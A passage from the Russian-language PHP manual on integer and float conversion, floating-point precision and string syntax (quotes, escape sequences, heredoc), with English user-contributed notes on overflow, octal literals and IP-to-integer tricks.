var_dump(25/7); // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7)); // float(4)
?>

Преобразование в целое

Для явного преобразования в тип int используют приведение (int) или (integer). Однако в большинстве случаев в приведении типа нет необходимости, так как значение будет автоматически преобразовано, если оператор, функция или управляющая структура требует аргумент типа int. Значение также может быть преобразовано в тип int функцией intval().

Если значением с типом resource преобразуется в значением с типом int, то результатом будет уникальный номер ресурса, привязанный к resource во время исполнения PHP программы.

Смотрите также: Манипуляции с типами.

Из булевого типа

false преобразуется в 0 (ноль), а true — в 1 (единицу).

Из чисел с плавающей точкой

При преобразовании из float в int число будет округлено вниз. Начиная с PHP 8.1.0, при неявном преобразовании неинтегрального числа с плавающей точкой (float) в целое число (int), которое теряет точность, выдаётся уведомление об устаревании.

<?php

function foo($value): int {
return $value;
}

var_dump(foo(8.1)); // "Deprecated: Implicit conversion from float 8.1 to int loses precision" начиная с PHP 8.1.0
var_dump(foo(8.1)); // 8 до PHP 8.1.0
var_dump(foo(8.0)); // 8 в обоих случаях

var_dump((int)8.1); // 8 в обоих случаях
var_dump(intval(8.1)); // 8 в обоих случаях
?>

Если число с плавающей точкой превышает размеры int (обычно ± 2.15e+9 = 2^31 на 32-битных системах и ± 9.22e+18 = 2^63 на 64-битных системах, результат будет неопределённым, так как float не имеет достаточной точности, чтобы вернуть верный результат в виде целого числа (int). В этом случае не будет выведено ни предупреждения, ни даже замечания!

Замечание:

Значения NaN и Infinity при приведении к int становятся равными нулю, вместо неопределённого значения в зависимости от платформы.

Внимание

Нельзя приводить неизвестную дробь к типу int, так как это иногда может дать неожиданные результаты.

<?php
echo (int) ( (0.1+0.7) * 10 ); // выводит 7!
?>

Подробнее об этом рассказано в предупреждении о точности чисел с плавающей точкой.

Из строк

Если строка содержит число или ведущую числовую последовательность, тогда она будет преобразована в соответствующее целое число, в противном случае она преобразуется в ноль (0).

Из NULL

Значение null всегда преобразуется в ноль (0).

Из других типов

Предостережение

Для других типов поведение преобразования в int не определено. Не нужно полагаться на наблюдаемое ранее поведение, так как оно может измениться без предупреждения.

User Contributed Notes

ganlvtech at qq dot com 07-Aug-2020 07:34
Be aware of float to int cast overflow

<?php

// You may expected these
var_dump(0x7fffffffffffffff);                // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1);            // float(9.2233720368548E+18)
var_dump((int)(0x7fffffffffffffff + 1));     // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1 > 0);        // bool(true)
var_dump((int)(0x7fffffffffffffff + 1) > 0); // bool(true)
var_dump((int)'9223372036854775807');        // int(9223372036854775807)
var_dump(9223372036854775808);               // float(9.2233720368548E+18)
var_dump((int)'9223372036854775808');        // int(9223372036854775807)
var_dump((int)9223372036854775808);          // int(9223372036854775807)

// But actually, it likes these
var_dump(0x7fffffffffffffff);                // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1);            // float(9.2233720368548E+18)
var_dump((int)(0x7fffffffffffffff + 1));     // int(-9223372036854775808)   <-----
var_dump(0x7fffffffffffffff + 1 > 0);        // bool(true)
var_dump((int)(0x7fffffffffffffff + 1) > 0); // bool(false)                 <-----
var_dump((int)'9223372036854775807');        // int(9223372036854775807)
var_dump(9223372036854775808);               // float(9.2233720368548E+18)
var_dump((int)'9223372036854775808');        // int(9223372036854775807)
var_dump((int)9223372036854775808);          // int(-9223372036854775808)   <-----

?>

These overflows are dangerous when you try to compare it with zero, or substract it from another value (e.g. money).
kuzawinski dot marcin_NOSPAM at gmail dot com 03-Aug-2020 01:02
Integer literals may be decimal, octal, hexadecimal or binary, but integer values have single representation;

<?php

var_dump(010); // int(8) NOT int(010)
var_dump(0x10); // int(16) NOT int(0x10)
var_dump(0b10); // int(2) NOT int(0b10)

?>

This is the reason why casting integer to string gives us always a decimal:

<?php

var_dump((string) 010); // string(8) NOT string(010)
var_dump((string) 0x10); // string(16) NOT string(0x10)
var_dump((string) 0b10); // string(2) NOT string(0b10)

?>
13453814063 at 163 dot com 28-Dec-2017 03:10
$e = 0x8000000000000000;
$e2 = 0b1000000000000000000000000000000000000000000000000000000000000000;
if ($e == $e2){
    echo "e==e2<br>";
}else{
    echo "e!=e2<br>";
}
pirnt "e!=e2"
----------------------------
echo decbin($e) . "<br>";
echo decbin($e2) . "<br>";
the result is :
1000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111110000000000
egwayjen at gmail dot com 27-Nov-2017 10:01
"There is no integer division operator in PHP". But since PHP 7, there is the intdiv function.
dhairya lakhera 20-Nov-2017 04:04
-------------------------------------------------------------------------
Question :
var_dump((int) 010);  //Output 8

var_dump((int) "010"); //output 10

First one is octal notation so the output is correct. But what about the when converting "010" to integer. it should be also output 8 ?
--------------------------------------------------------------------------
Answer :

Casting to an integer using (int) will always cast to the default base, which is 10.

Casting a string to a number this way does not take into account the many ways of formatting an integer value in PHP (leading zero for base 8, leading "0x" for base 16, leading "0b" for base 2). It will simply look at the first characters in a string and convert them to a base 10 integer. Leading zeroes will be stripped off because they have no meaning in numerical values, so you will end up with the decimal value 10 for (int)"010".

Converting an integer value between bases using (int)010 will take into account the various ways of formatting an integer. A leading zero like in 010 means the number is in octal notation, using (int)010 will convert it to the decimal value 8 in base 10.

This is similar to how you use 0x10 to write in hexadecimal (base 16) notation. Using (int)0x10 will convert that to the base 10 decimal value 16, whereas using (int)"0x10" will end up with the decimal value 0: since the "x" is not a numerical value, anything after that will be ignored.

If you want to interpret the string "010" as an octal value, you need to instruct PHP to do so. intval("010", 8) will interpret the number in base 8 instead of the default base 10, and you will end up with the decimal value 8. You could also use octdec("010") to convert the octal string to the decimal value 8. Another option is to use base_convert("010", 8, 10) to explicitly convert the number "010" from base 8 to base 10, however this function will return the string "8" instead of the integer 8.

Casting a string to an integer follows the same the logic used by the intval function:

Returns the integer value of var, using the specified base for the conversion (the default is base 10).
intval allows specifying a different base as the second argument, whereas a straight cast operation does not, so using (int) will always treat a string as being in base 10.

php > var_export((int) "010");
10
php > var_export(intval("010"));
10
php > var_export(intval("010", 8));
8
litbai 25-Feb-2016 08:26
<?php
$ipArr = explode('.', $ipString);
$ipVal = ($ipArr[0] << 24)
       + ($ipArr[1] << 16)
       + ($ipArr[2] << 8)
       + $ipArr[3]
        ;
?>
1. the priority of bit op is lower than '+',so there should be brackets.
2. there is no unsighed int in PHP, if you use 32 bit version,the code above will get negative result when the first position of IP string greater than 127.
3. what the code actually do is calculate the integer value of transformed 32 binary bit from IP string.
dewi at dewimorgan dot com 09-May-2015 07:41
Note that the soft-typing of numbers in PHP means that some things become very difficult. For example, efficiently emulating the more common linear congruential generators (LCGs) for fast, deterministic, pseudo-randomness. The naive code to create the next value in a sequence (for power-of-2 values of $m) is:

$seed = ($seed * $a + $c) % $m;

...where $m, $a, and $c are values and data types carefully chosen such that repeating this operation will eventually generate every value in the range $0 to $m, with no repetition.

I can find no good commonly used LCGs which use PHP-compatible values. The LCG values used in by rand() in systems like Borland Delphi, Virtual Pascal, MS Visual/Quick C/C++, VMS's MTH$RANDOM, old versions of glibc, Numerical Recipes, glibc, GCC, ANSI C, Watcom, Digital Mars, CodeWarrior, IBM VisualAge C/C++, java.util.Random, Newlib, MMX... *all* fail when ported, for one of two reasons, and sometimes both:

 - In PHP on 32 bit machines and all Windows machines, $m = 2^32 or larger requires UInt or even UInt64, or the result becomes negative.

- Large $a multiplied by an integer seed gets converted to a float64, but the number can be too long for the 53-bit mantissa, and it drops the least significant digits... but the LCG code above requires that the most significant digits should be lost.

These are two classes of problem to beware of when porting integer math to PHP,  and I see no clean and efficient way to avoid either one.

So if designing a cross-platform system that must work in PHP, you must select LCG values that fit the following criteria:
$m = 2^31 or less (PHP limitation). Recommend: 2^31.
$a = Less than 2^22 (PHP limitation); $a-1 divisible by all prime factors of $m; $a-1 divisible by 4 if $m is. Recommend: 1+(4*(any prime <= 1048573)).
$c = smaller than (2^53-($m*$a)) (PHP limitation); relatively prime with $m. Recommend: any prime <= 23622320123.
Anonymous 09-Jan-2015 09:31
Converting to an integer works only if the input begins with a number
(int) "5txt" // will output the integer 5
(int) "before5txt" // will output the integer 0
(int) "53txt" // will output the integer 53
(int) "53txt534text" // will output the integer 53
php at richardneill dot org 28-Feb-2013 06:25
A leading zero in a numeric literal means "this is octal". But don't be confused: a leading zero in a string does not. Thus:
$x = 0123;          // 83
$y = "0123" + 0     // 123
pere dot cil at wanadoo dot fr 15-Mar-2011 01:59
Please also note that the maximum stored in the integer depends on the platform / compilation; on windows xp 32 bits, the following value:

0x5468792130ABCDEF

echoes to:

6.0822444802213E+18 (cast to float)

On a fully 64 bits system, it echoes to:

6082244480221302255
wbcarts at juno dot com 06-Oct-2008 06:25
PHP offers a slew of built-in functions and automatic type-casting routines which can get pretty complicated. But most of the time, you still have to take matters into your own hands and allow PHP to do its thing. In that case, and something that has NOT been mentioned, is how to construct your code. To keep things simple, I divide all my scripts in half. The top half gives my scripts the "capability" they need, and the lower half is the actual code to be "run" or "executed".

<?php
/*
 * build the program's capability - define variables and functions...
 */
$item_label = '';        // type string
$item_price = 0.0;       // type float
$item_qty = 1;           // type integer
$item_total = 0.0;       // type float - to set use calculate()

function calculate(){
  global $item_price, $item_qty, $item_total;
  $item_price = number_format($item_price, 2);
  $item_total = number_format(($item_price * $item_qty), 2);
}

function itemToString() {
  global $item_label, $item_price, $item_qty, $item_total;
  return "$item_label [price=\$$item_price, qty=$item_qty, total=\$$item_total]";
}

/*
 * run the program - set data, call methods...
 */
$item_label = "Coffee";
$item_price = 3.89;
$item_qty = 2;
calculate();           // set $item_total
echo itemToString();   // -> Coffee [price=$3.89, qty=2, total=$7.78]

$item_label = "Chicken";
$item_price = .80;     // per lb.
$item_qty = 3.5;       // lbs.
calculate();           // set $item_total
echo itemToString();   // -> Chicken [price=$0.80, qty=3.5, total=$2.80]
?>
Note: All type-casting is done by PHP's built-in number_format() method. This allows our program to enter any number (float or int) on item price or quantity in the runtime part of our script. Also, if we explicitly cast values to integer in the capability part of our script, then we start getting results that may not be desirable for this program. For example, if in the calculate method we cast item_qty to integer, then we can no longer sell chicken by the pound!
eric 11-Jun-2008 01:50
In response to the comment by me at troyswanson dot net:

-2147483648 falls into the range of 32 bit signed integers yet php treats it as a float.  However, -2147483647-1 is treated as an integer.

The following code demonstrates:
<?php
    var_dump(-2147483648); //float(-2147483648)
    var_dump(-2147483647 - 1); //int(-2147483648)
?>

This is probably very similar to the MS C bug which also treats -2147483648 as an UNSIGNED because it thinks it's out of the range of a signed int.

The problem is that the parser does not view "-x" as a single token, but rather as two, "-" and "x".  Since "x" is out of the range of an INT, it is promoted to float, even though in this unique case, "-x" is in the range of an int.

The best cure is probably to replace "-2147483648" with "0x80000000", as that is the hexadecimal equivalent of the same number.

Hope that helps explain what's going on

Peace

 - Eric / fez
darkshire 16-Nov-2007 04:56
d_n at NOSPAM dot Loryx dot com
13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

This can be written in a bit more efficient way:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0]<<24
            + $ipArr[1]<<16
            + $ipArr[2] <<8
            + $ipArr[3]
            ;
?>

shift is more cheaper.
d_n at NOSPAM dot Loryx dot com 13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

IP as BIGINT read from db back to dotted form:

Keep in mind, PHP integer operators are INTEGER -- not long. Also, since there is no integer divide in PHP, we save a couple of S-L-O-W floor (<division>)'s by doing bitshifts. We must use floor(/) for $ipArr[0] because though $ipVal is stored as a long value, $ipVal >> 24 will operate on a truncated, integer value of $ipVal! $ipVint is, however, a nice integer, so
we can enjoy the bitshifts.

<?php
        $ipVal = $row['client_IP'];
        $ipArr = array(0 =>
                    floor(  $ipVal               / 0x1000000) );
        $ipVint   = $ipVal-($ipArr[0]*0x1000000); // for clarity
        $ipArr[1] = ($ipVint & 0xFF0000)  >> 16;
        $ipArr[2] = ($ipVint & 0xFF00  )  >> 8;
        $ipArr[3] =  $ipVint & 0xFF;
        $ipDotted = implode('.', $ipArr);
?>
Jacek 10-Mar-2007 04:51
On 64 bits machines max integer value is 0x7fffffffffffffff (9 223 372 036 854 775 807).
09-Mar-2007 07:26
To force the correct usage of 32-bit unsigned integer in some functions, just add '+0'  just before processing them.

for example
echo(dechex("2724838310"));
will print '7FFFFFFF'
but it should print 'A269BBA6'

When adding '+0' php will handle the 32bit unsigned integer
correctly
echo(dechex("2724838310"+0));
will print 'A269BBA6'
rustamabd@gmail-you-know-what 12-Dec-2006 01:42
Be careful with using the modulo operation on big numbers, it will cast a float argument to an int and may return wrong results. For example:
<?php
    $i = 6887129852;
    echo "i=$i\n";
    echo "i%36=".($i%36)."\n";
    echo "alternative i%36=".($i-floor($i/36)*36)."\n";
?>
Will output:
i=6.88713E+009
i%36=-24
alternative i%36=20
jmw254 at cornell dot edu 25-Aug-2006 10:14
Try this one instead:

function iplongtostring($ip)
{
    $ip=floatval($ip); // otherwise it is capped at 127.255.255.255

    $a=($ip>>24)&255;
    $b=($ip>>16)&255;
    $c=($ip>>8)&255;
    $d=$ip&255;

    return "$a.$b.$c.$d";
}
23-Dec-2003 10:18
Sometimes you need to parse an unsigned
32 bit integer. Here's a function I 've used:

    function parse_unsigned_int($string) {
        $x = (float)$string;
        if ($x > (float)2147483647)
            $x -= (float)"4294967296";
        return (int)$x;
    }


Числа с плавающей точкой

Числа с плавающей точкой или числа с плавающей запятой (также известные как "float", "double" или "real") могут быть определены следующими синтаксисами:

<?php
$a = 1.234;
$b = 1.2e3;
$c = 7E-10;
$d = 1_234.567; // начиная с PHP 7.4.0
?>

Формально, начиная с PHP 7.4.0 (ранее подчёркивание не разрешалось):

LNUM          [0-9]+(_[0-9]+)*
DNUM          ({LNUM}?"."{LNUM}) | ({LNUM}"."{LNUM}?)
EXPONENT_DNUM (({LNUM} | {DNUM}) [eE][+-]? {LNUM})

Размер числа с плавающей точкой зависит от платформы, хотя максимум, как правило, составляет 1.8e308 с точностью около 14 десятичных цифр (64-битный формат IEEE).

Внимание

Точность чисел с плавающей точкой

Числа с плавающей точкой имеют ограниченную точность. Хотя это зависит от операционной системы, в PHP обычно используется формат двойной точности IEEE 754, дающий максимальную относительную ошибку округления порядка 1.11e-16. Неэлементарные арифметические операции могут давать большие ошибки, и, разумеется, необходимо принимать во внимание распространение ошибок при совместном использовании нескольких операций.

Кроме того, рациональные числа, которые могут быть точно представлены в виде чисел с плавающей точкой с основанием 10, например, 0.1 или 0.7, не имеют точного внутреннего представления в качестве чисел с плавающей точкой с основанием 2, вне зависимости от размера мантиссы. Поэтому они и не могут быть преобразованы в их внутреннюю двоичную форму без небольшой потери точности. Это может привести к неожиданным результатам: например, floor((0.1+0.7)*10) скорее всего вернёт 7 вместо ожидаемого 8, так как результат внутреннего представления будет чем-то вроде 7.9999999999999991118....

Так что никогда не доверяйте точности чисел с плавающей точкой до последней цифры и не проверяйте напрямую их равенство. Если вам действительно необходима высокая точность, используйте математические функции произвольной точности и gmp-функции.

"Простое" объяснение можно найти в » руководстве по числам с плавающей точкой, которое также называется "Why don't my numbers add up?" ("Почему мои числа не складываются?")

Преобразование в число с плавающей точкой

Из строк

Если строка содержит число или ведущую числовую последовательность, тогда она будет преобразована в соответствующее значение с плавающей точкой, в противном случае она преобразуется в ноль (0).

Из других типов

Для значений других типов преобразование выполняется путём преобразования значения сначала в целое число (int), а затем в число с плавающей точкой ( float ). Смотрите Преобразование в целое число для получения дополнительной информации.

Замечание:

Поскольку определённые типы имеют неопределённое поведение при преобразовании в целое число (int), то же самое происходит и при преобразовании в число с плавающей точкой (float).

Сравнение чисел с плавающей точкой

Как указано выше, проверять числа с плавающей точкой на равенство проблематично из-за их внутреннего представления. Тем не менее, существуют способы для их сравнения, которые работают несмотря на все эти ограничения.

Для сравнения чисел с плавающей точкой используется верхняя граница относительной ошибки при округлении. Эта величина называется машинной эпсилон или единицей округления (unit roundoff) и представляет собой самую маленькую допустимую разницу при расчётах.

$a и $b равны до 5-ти знаков после точки.

<?php
$a = 1.23456789;
$b = 1.23456780;
$epsilon = 0.00001;

if (abs($a - $b) < $epsilon) {
echo "true";
}
?>

NaN

Некоторые числовые операции могут возвращать значение, представляемое константой NAN. Данный результат означает неопределённое или непредставимое значение в операциях с плавающей точкой. Любое строгое или нестрогое сравнение данного значения с другим значением, кроме true, включая его самого, возвратит false.

Так как NAN представляет собой неограниченное количество различных значений, то NAN не следует сравнивать с другими значениями, включая её саму. Вместо этого, для определения её наличия необходимо использовать функцию is_nan().

User Contributed Notes

251701981 at qq dot com 05-Aug-2023 03:58
<?php

//Please consider the following code
  printf("%.53f\n",0.7+0.1);  // 0.79999999999999993338661852249060757458209991455078125

       var_dump(0.7+0.1);   // float(0.8)

       var_dump(0.799999999999999);  //float(0.8)

       var_dump(0.7999999); // float(0.7999999)

//Conclusion: PHP can support up to 53 decimal places, but in some output functions such as var_ Dump, when outputting decimals exceeding 14 places, will round off the 15th place, which causes significant misleading
//experimental environment:linux x64,php7.2.x
lwiwala at gmail dot com 07-Mar-2017 03:49
To compare two numbers use:

$epsilon = 1e-6;

if(abs($firstNumber-$secondNumber) < $epsilon){
   // equals
}
catalin dot luntraru at gmail dot com 18-Nov-2013 03:44
$x = 8 - 6.4;  // which is equal to 1.6
$y = 1.6;
var_dump($x == $y); // is not true

PHP thinks that 1.6 (coming from a difference) is not equal to 1.6. To make it work, use round()

var_dump(round($x, 2) == round($y, 2)); // this is true

This happens probably because $x is not really 1.6, but 1.599999.. and var_dump shows it to you as being 1.6.
zelko at mojeime dot com 31-Mar-2011 01:02
<?php
   $binarydata32 = pack('H*','00000000');
   $float32 = unpack("f", $binarydata32); // 0.0

   $binarydata64 = pack('H*','0000000000000000');
   $float64 = unpack("d", $binarydata64); // 0.0
?>

I get 0 both for 32-bit and 64-bit numbers.

But, please don't use your own "functions" to "convert" from float to binary and vice versa. Looping performance in PHP is horrible. Using pack/unpack you use processor's encoding, which is always correct. In C++ you can access the same 32/64 data as either float/double or 32/64 bit integer. No "conversions".

To get binary encoding:
<?php
   $float32 = pack("f", 5300231);
   $binarydata32 =unpack('H*',$float32); //"0EC0A14A"

   $float64 = pack("d", 5300231);
   $binarydata64 =unpack('H*',$float64); //"000000C001385441"
?>

And my example from half a year ago:
<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32); // 5300231

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64); // 5300231
?>

And please mind the Big and Little endian boys...
magicaltux at php dot net 01-Jun-2010 07:02
In some cases you may want to get the maximum value for a float without getting "INF".

var_dump(1.8e308); will usually show: float(INF)

I wrote a tiny function that will iterate in order to find the biggest non-infinite float value. It comes with a configurable multiplicator and affine values so you can share more CPU to get a more accurate estimate.

I haven't seen better values with more affine, but well, the possibility is here so if you really thing it's worth the cpu time, just try to affine more.

Best results seems to be with mul=2/affine=1. You can play with the values and see what you get. The good thing is this method will work on any system.

<?php
  function float_max($mul = 2, $affine = 1) {
    $max = 1; $omax = 0;
    while((string)$max != 'INF') { $omax = $max; $max *= $mul; }

    for($i = 0; $i < $affine; $i++) {
      $pmax = 1; $max = $omax;
      while((string)$max != 'INF') {
        $omax = $max;
        $max += $pmax;
        $pmax *= $mul;
      }
    }
    return $omax;
  }
?>
Luzian 17-Nov-2005 12:03
Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this:

$x = 0.23;
$js = "var foo = doBar($x);";
print $js;

This would result in a different result for users with some locales. On most systems, this would print:

var foo = doBar(0.23);

but when for example a user from Germany arrives, it would be different:

var foo = doBar(0,23);

which is obviously a different call to the function. JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string.

So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it!
rick at ninjafoo dot com 06-Jul-2005 01:04
Concider the following:

(19.6*100) != 1960

echo gettype(19.6*100) returns 'double', However even .....

(19.6*100) !== (double)1960

19.6*100 cannot be compaired to anything without manually
casting it as something else first.

(string)(19.6*100) == 1960

Rule of thumb, if it has a decimal point, use the BCMath functions.
feline at NOSPAM dot penguin dot servehttp dot com 12-Aug-2004 06:36
General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later.
james dot cridland at virginradio dot co dot uk 28-Apr-2003 07:44
The 'floating point precision' box in practice means:

<? echo (69.1-floor(69.1)); ?>
Think this'll return 0.1?
It doesn't - it returns 0.099999999999994

<? echo round((69.1-floor(69.1))); ?>
This returns 0.1 and is the workaround we use.

Note that
<? echo (4.1-floor(4.1)); ?>
*does* return 0.1 - so if you, like us, test this with low numbers, you won't, like us, understand why all of a sudden your script stops working, until you spend a lot of time, like us, debugging it.

So, that's all lovely then.
backov at spotbrokers-nospamplz dot com 05-Mar-2003 01:16
I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane.

This test (where var_dump says that $a=0.1 and $b=0.1)

if ($a>=$b) echo "blah!";

Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there).

To fix, I had to do this horrible kludge (the equivelant of anyway):

if (round($a,3)>=round($b,3)) echo "blah!";

THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation?
www.sarioz.com 04-Feb-2003 10:49
just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333."

While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated.  0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result).  However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal.


Строки

Строка (тип string) — это набор символов, где символ — это то же самое, что и байт. Это значит, что PHP поддерживает ровно 256 различных символов, а также то, что в PHP нет встроенной поддержки Unicode. Смотрите также подробности реализации строкового типа.

Замечание: В 32-битных системах и в более ранних версиях PHP строки (string) не могут быть более 2 ГБ (2 147 483 647 байтов).

Синтаксис

Строка может быть определена четырьмя способами:

  • одинарными кавычками
  • двойными кавычками
  • heredoc-синтаксисом
  • nowdoc-синтаксисом

Одинарные кавычки

Простейший способ определить строку — это заключить её в одинарные кавычки (символ ').

Чтобы записать внутри строки буквальную одинарную кавычку, её необходимо заэкранировать обратным слешем (\). Когда нужно написать сам обратный слеш, его дублируют (\\). Во всех остальных случаях обратный слеш будет интерпретирован как буквальный обратный слеш: то есть последовательности вроде \r или \n не будут рассматриваться как управляющие, а будут выведены как есть.

Замечание: Переменные и управляющие последовательности для специальных символов, заключённые в одинарные кавычки, — не обрабатываются, в отличие от синтаксиса двойных кавычек и heredoc.

<?php
echo 'это простая строка';

echo 'Также вы можете вставлять в строки
символ новой строки вот так,
это нормально';

// Выводит: Однажды Арнольд сказал: "I'll be back"
echo 'Однажды Арнольд сказал: "I\'ll be back"';

// Выводит: Вы удалили C:\*.*?
echo 'Вы удалили C:\\*.*?';

// Выводит: Вы удалили C:\*.*?
echo 'Вы удалили C:\*.*?';

// Выводит: Это не будет развёрнуто: \n новая строка
echo 'Это не будет развёрнуто: \n новая строка';

// Выводит: Переменные $expand также $either не разворачиваются
echo 'Переменные $expand также $either не разворачиваются';
?>

Двойные кавычки

Если строка заключена в двойные кавычки ("), PHP распознает следующие управляющие последовательности специальных символов:

Управляющие последовательности
Последовательность | Значение
\n | новая строка (LF или 0x0A (10) в ASCII)
\r | возврат каретки (CR или 0x0D (13) в ASCII)
\t | горизонтальная табуляция (HT или 0x09 (9) в ASCII)
\v | вертикальная табуляция (VT или 0x0B (11) в ASCII)
\e | escape-знак (ESC или 0x1B (27) в ASCII)
\f | подача страницы (FF или 0x0C (12) в ASCII)
\\ | обратная косая черта
\$ | знак доллара
\" | двойная кавычка
\[0-7]{1,3} | Восьмеричная запись: символ, код которого записан в восьмеричной нотации (т. е. "\101" === "A"), т. е. в виде последовательности символов, соответствующей регулярному выражению [0-7]{1,3}. В ситуации целочисленного переполнения (если символ не поместится в один байт), старшие биты будут отброшены (т. е. "\400" === "\000")
\x[0-9A-Fa-f]{1,2} | Шестнадцатеричная система счисления: символ, код которого записан в шестнадцатеричной нотации (т. е. "\x41" === "A"), т. е. в виде последовательности символов, соответствующей регулярному выражению [0-9A-Fa-f]{1,2}
\u{[0-9A-Fa-f]+} | Стандарт Unicode: символ, код которого записан в нотации кодовых точек Unicode, т. е. в виде последовательности символов, соответствующей регулярному выражению [0-9A-Fa-f]+, которые будут отображены как строка в кодировке UTF-8. Последовательность необходимо заключать в фигурные скобки. Например: "\u{41}" === "A"

Как и в строке, заключённой в одинарные кавычки, экранирование любого другого символа выведет также и сам символ экранирования.

Наиболее важное свойство строк в двойных кавычках состоит в том, что имена переменных в них будут распакованы и обработаны. Подробнее об этом рассказано в разделе «Обработка переменных».

Heredoc

Третий способ определения строк — это использование heredoc-синтаксиса: <<<. После оператора необходимо указать идентификатор, а затем перевод строки. После чего идёт сама строка, за которой следует тот же идентификатор, который закрывает вставку.

Закрывающий идентификатор может быть отбит пробелами или символами табуляции, и в этом случае отступ будет удалён из всех строк в блоке документа. До PHP 7.3.0 закрывающий идентификатор должен был находиться в самом начале новой строки.

Кроме того, закрывающий идентификатор должен соответствовать тем же правилам именования, что и любая другая метка в PHP: он должен содержать только буквенно-цифровые символы и подчёркивания, и не должен начинаться с цифрового символа или символа подчёркивания.

Пример #1 Базовый пример использования Heredoc в PHP 7.3.0

<?php
// без отступов
echo <<<END
 a
b
c
\n
END;

// 4 отступа
echo <<<END
 a
b
c
 END;

Результат выполнения данного примера в PHP 7.3:

      a
     b
    c

  a
 b
c

Если закрывающий идентификатор смещён дальше, чем любая строка тела, будет выброшено ParseError:

Пример #2 Закрывающий идентификатор не должен иметь отступ больше, чем любая строка тела

<?php
echo <<<END
 a
b
c
 END;

Результат выполнения данного примера в PHP 7.3:

PHP Parse error:  Invalid body indentation level (expecting an indentation level of at least 3) in example.php on line 4

Если закрывающий идентификатор отбит символом табуляции, то в теле также можно использовать табуляции. Однако табуляции и пробелы относительно закрывающего идентификатора и тела не должны смешиваться (вплоть до закрывающего идентификатора). В любом из этих случаев будет выброшено исключение ParseError. Эти ограничения на пробельные отступы были включены, потому что смешивание табуляций и пробелов для отступов вредно для разбора.

Пример #3 Другой отступ для закрывающего идентификатора тела (пробелов)

<?php
// Весь следующий код не работает.

// Другой отступ для закрывающего идентификатора (табов) тела (пробелов)
{
echo <<<END
 a
 END;
}

// смешивание пробелов и табуляции в теле
{
echo <<<END
 a
 END;
}

// смешивание пробелов и табуляции в закрывающем идентификаторе
{
echo <<<END
 a
 END;
}

Результат выполнения данного примера в PHP 7.3:

PHP Parse error:  Invalid indentation - tabs and spaces cannot be mixed in example.php line 8

За закрывающим идентификатором основной строки не обязательно ставить точку с запятой или новую строку. Например, начиная с PHP 7.3.0 разрешён следующий код:

Пример #4 Продолжение выражения после закрывающего идентификатора

<?php
$values = [<<<END
a
b
c
END, 'd e f'];
var_dump($values);

Результат выполнения данного примера в PHP 7.3:

array(2) {
  [0] =>
  string(11) "a
  b
    c"
  [1] =>
  string(5) "d e f"
}
Внимание

Если закрывающий идентификатор был найден в начале строки, то независимо от того, был ли он частью другого слова, его можно рассматривать как закрывающий идентификатор и выбросить исключение ParseError.

Пример #5 Закрывающий идентификатор в теле текста имеет тенденцию вызывать ParseError

<?php
$values = [<<<END
a
b
END ING
END, 'd e f'];

Результат выполнения данного примера в PHP 7.3:

PHP Parse error:  syntax error, unexpected identifier "ING", expecting "]" in example.php on line 6

Чтобы не возникало таких проблем, можно следовать простому надёжному правилу: не нужно выбирать закрывающий идентификатор, который встречается в теле текста.

Внимание

До PHP 7.3.0 очень важно отметить, что строка с закрывающим идентификатором не должна содержать других символов, за исключением точки с запятой (;). Это означает, что идентификатор не должен вводиться с отступом и что не может быть никаких пробелов или знаков табуляции до или после точки с запятой. Важно также понимать, что первым символом перед закрывающим идентификатором должен быть символ новой строки, определённый в вашей операционной системе. Например, в UNIX системах, включая macOS, это \n. После закрывающего идентификатора также сразу должна начинаться новая строка.

